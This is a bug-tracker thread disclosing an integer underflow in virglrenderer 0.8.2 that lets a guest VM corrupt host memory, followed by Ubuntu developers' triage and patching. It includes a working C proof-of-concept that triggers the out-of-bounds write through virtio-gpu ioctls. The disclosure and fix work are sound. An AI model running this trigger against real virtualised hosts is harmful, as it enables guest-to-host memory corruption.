Integer underflow in the vrend_decode_set_shader_buffers() on virglrenderer

[Jun Yao]

Env
===
  Description: Ubuntu 20.04.3 LTS
  Release: 20.04

Package
=======
  virglrenderer_0.8.2

Vulnerability
=============
The is an integer underflow bug in the vrend_decode_set_shader_buffers(). Which
can be used to bypass the checking and leads to OOB write.

virgl_renderer_submit_cmd()
|
|-> vrend_decode_block()
 |
 | VIRGL_CCMD_SET_SHADER_BUFFERS
 |
 |-> vrend_decode_set_shader_buffers()
  |
  | /**
  | * When the num_ssbo is larger than PIPE_MAX_SHADER_BUFFERS,
  | * we can obey the checking. The value of PIPE_MAX_SHADER_BUFFERS
  | * is 32, if num_ssbo is 33, the result of sub is -1. However,
  | * the type of num_ssbo and start_slot is uint, -1 is bigger than
  | * start_slot, and it's ok.
  | */
  |
  | if (start_slot > PIPE_MAX_SHADER_BUFFERS ||
  | start_slot > PIPE_MAX_SHADER_BUFFERS - num_ssbo)
  | return EINVAL;
  |
  | /* OOB write */
  | for (uint32_t i = 0; i < num_ssbo; i++)
  | vrend_set_single_ssbo(..., start_slot + i, offset, buf_len, handle);

The PoC is as following:

#define NUM_SSBO 100 // trigger oob
#define BUF_SIZE ALIGN((1 + 2 + (4 * NUM_SSBO * VIRGL_SET_SHADER_BUFFER_ELEMENT_SIZE)), 4)

static int is_virgl_3d(int dev)
{
 int ret;
 int virgl = 0;
 struct drm_virtgpu_getparam param = {};

 param.param = VIRTGPU_PARAM_3D_FEATURES;
 param.value = (unsigned long)&virgl;
 ret = ioctl(dev, DRM_IOCTL_VIRTGPU_GETPARAM, &param);
 if (ret == -1)
  ERR("DRM_IOCTL_VIRTGPU_GETPARAM");
 return virgl;
}

static int virgl_create_resource(int dev)
{
 int ret;
 struct drm_virtgpu_resource_create resource = {};

 resource.target = PIPE_TEXTURE_2D_ARRAY;
 resource.format = VIRGL_FORMAT_Z24X8_UNORM;
 resource.nr_samples = 2;
 resource.last_level = 0;
 resource.array_size = 3;
 resource.bind = VIRGL_BIND_SAMPLER_VIEW;
 resource.depth = 1;
 resource.width = 8;
 resource.height = 8;
 resource.size = 4096;
 resource.flags = 0;

 ret = ioctl(dev, DRM_IOCTL_VIRTGPU_RESOURCE_CREATE, &resource);
 if (ret == -1) {
  ERR("DRM_IOCTL_VIRTGPU_RESOURCE_CREATE");
  return -1;
 }
 return resource.res_handle;
}

static int virgl_fill_header(uint32_t *ptr, uint32_t len, uint8_t type)
{
 *ptr = (len << 16) | (type & 0xff);
 return sizeof(uint32_t);
}

static int virgl_execbuffer(int dev, int res_hdl)
{
 int i;
 int ret;
 char *buf;
 uint32_t len = BUF_SIZE/4 - 1;
 uint32_t *ptr = NULL;
 struct drm_virtgpu_execbuffer execbuf = {};

 buf = malloc(BUF_SIZE);
 if (buf == NULL) {
  ERR("malloc()");
  return -1;
 }
 memset(buf, 0x0, BUF_SIZE);

 execbuf.flags = 0;
 execbuf.bo_handles = 0;
 execbuf.num_bo_handles = 0;
 execbuf.fence_fd = 0;
 execbuf.command = (unsigned long)buf;
 execbuf.size = BUF_SIZE;

 ptr = (uint32_t*)buf;
 virgl_fill_header(ptr, len, VIRGL_CCMD_SET_SHADER_BUFFERS);

 *(ptr + VIRGL_SET_SHADER_BUFFER_SHADER_TYPE) = PIPE_SHADER_COMPUTE;
 *(ptr + VIRGL_SET_SHADER_BUFFER_START_SLOT) = PIPE_MAX_SHADER_BUFFERS;

 for (i = 0; i < NUM_SSBO; i++) {
  *(ptr + VIRGL_SET_SHADER_BUFFER_OFFSET(i)) = i;
  *(ptr + VIRGL_SET_SHADER_BUFFER_LENGTH(i)) = i;
  *(ptr + VIRGL_SET_SHADER_BUFFER_RES_HANDLE(i)) = res_hdl;
 }

 ret = ioctl(dev, DRM_IOCTL_VIRTGPU_EXECBUFFER, &execbuf);
 if (ret == -1)
  ERR("DRM_IOCTL_VIRTGPU_EXECBUFFER");
 free(buf);
 return ret;
}

int main(void)
{
 int dev;
 int res_hdl;

 dev = open(VIRTIO_DEV, O_RDONLY);
 if (dev == -1) {
  ERR("open %s", VIRTIO_DEV);
  return 0;
 }

 if (!is_virgl_3d(dev)) {
  LOG("virgl_3d is NOT enabled\n");
  goto out_dev;
 }

 res_hdl = virgl_create_resource(dev);
 if (res_hdl == -1)
  goto out_dev;
 LOG("resource_handle=%d\n", res_hdl);
 virgl_execbuffer(dev, res_hdl);
out_dev:
 close(dev);
 return 0;
}

[Marc Deslauriers (mdeslaur)]

Hi,

Have you reported this issue to the virglrenderer developers?

If not, please report it to them. The bug tracker is here:

https://gitlab.freedesktop.org/virgl/virglrenderer/-/issues

Once you have done that, please let us know the bug number and once a fix is available we will package it for Ubuntu.

Thanks!

[Jun Yao (2freeman)]

Hi,

This bug is fixed on the newest source of the virglrenderer. However, it does exist on the virglrenderer_0.8.2 used by the Ubuntu.

Thanks,
Jun Yao

[Marc Deslauriers (mdeslaur)]

Possible fix:

https://gitlab.freedesktop.org/virgl/virglrenderer/-/commit/673f4d0c1dfe78f66e8d7f036c619065800022de

[Seth Arnold (seth-arnold)]

Aha, excellent find; I've opened this public, since the git commit pretty much spells it out. What I'm not sure about is if this is actually a security issue or if this is just a bug -- is there actually a security boundary that is being breached?

Thanks

[Christian Ehrhardt  (paelzer)]

The commit isn't in any upstream release yet (not even 0.9.0 in Debian experimental).
It applies cleanly to 0.8.2-5build1 that is in Focal-Jammy.
The code isn't present in Bionic at all.

I'll leave Focal-Impish incomplete for Seths question if there is a security impact.
If there is they will drive this as security fix, but if there isn't we will need steps to recreate the error to drive a normal SRU [1].

I think we can mark Jammy as triaged and apply it there either way.

[1]: https://wiki.ubuntu.com/StableReleaseUpdates

[Christian Ehrhardt  (paelzer)]

PPA: https://launchpad.net/~ci-train-ppa-service/+archive/ubuntu/4729/+packages
MP: https://code.launchpad.net/~paelzer/ubuntu/+source/virglrenderer/+git/virglrenderer/+merge/412670

[Launchpad Janitor (janitor)]

This bug was fixed in the package virglrenderer - 0.8.2-5ubuntu1

---------------
virglrenderer (0.8.2-5ubuntu1) jammy; urgency=medium

  * d/p/lp-1950941*: fix out of bounds check (LP: #1950941)

 -- Christian Ehrhardt <email address hidden> Thu, 02 Dec 2021 08:34:48 +0100

[Christian Ehrhardt  (paelzer)]

Done for Jammy,
is anyone doing a check if this is security critical and/or working on test steps for a normal SRU?

[Jun Yao (2freeman)]

Hi Seth Arnold,

> What I'm not sure about is if this is actually a security issue or if this is just a bug -- is there actually a security boundary that is being breached?

I believe that this is a security issue, which causes OOB writing in the vrend_set_single_ssbo():

 2973 void vrend_set_single_ssbo(struct vrend_context *ctx,
 2974 uint32_t shader_type,
 2975 uint32_t index,
 2976 uint32_t offset, uint32_t length,
 2977 uint32_t handle)
 2978 {
         /* OOB, index > PIPE_MAX_SHADER_BUFFERS */
 2979 struct vrend_ssbo *ssbo = &ctx->sub->ssbo[shader_type][index];
 2980 struct vrend_resource *res;
 2981
 2982 if (!has_feature(feat_ssbo))
 2983 return;
 2984
 2985 if (handle) {
 2986 res = vrend_renderer_ctx_res_lookup(ctx, handle);
 2987 if (!res) {
 2988 report_context_error(ctx, VIRGL_ERROR_CTX_ILLEGAL_RESOURCE, handle);
 2989 return;
 2990 }
            /* OOB writing */
 2991 ssbo->res = res;
 2992 ssbo->buffer_offset = offset;
 2993 ssbo->buffer_size = length;
 2994 ctx->sub->ssbo_used_mask[shader_type] |= (1u << index);
 2995 }

[Seth Arnold (seth-arnold)]

Thanks Jun, my question is less about the specific line of an array index being used without checking and more about which boundaries are being crossed with the function call:

Is vrend_set_single_ssbo() being called in the same address space as the main() function in your reproducer? Or is it happening in another process? Or virtual machine? Or host?

If the array indexing happens in the same process, then the main() routine could just as well write to different places in memory in its own process without restriction, regardless of this fix.

This fix would be a security fix if the array indexing is happening on the other side of a protection boundary, and I don't understand virgl anywhere near well enough to know that answer.

Thanks

[Jun Yao (2freeman)]

Hi Seth Arnold,

> Is vrend_set_single_ssbo() being called in the same address space as the main() function in your reproducer? Or is it happening in another process? Or virtual machine? Or host?

The architecture of the virt-gpu is:

    PoC (guest user mode)
------------- /dev/dri/xxxx --------------
    DRM_VIRTIO_GPU (guest kernel mode)
------------- vring ----------------------
    QEMU
    virglrenderer (host user mode)
------------------------------------------

The PoC is running in the user mode of the guest. While the vrend_set_single_ssbo() stays at the user mode of the host (on the qemu context). So, the guest can corrupt memory of the host. And this is a security bug.

Thanks,
Jun Yao

[Brian Murray (brian-murray)]

Ubuntu 21.10 (Impish Indri) has reached end of life, so this bug will not be fixed for that specific release.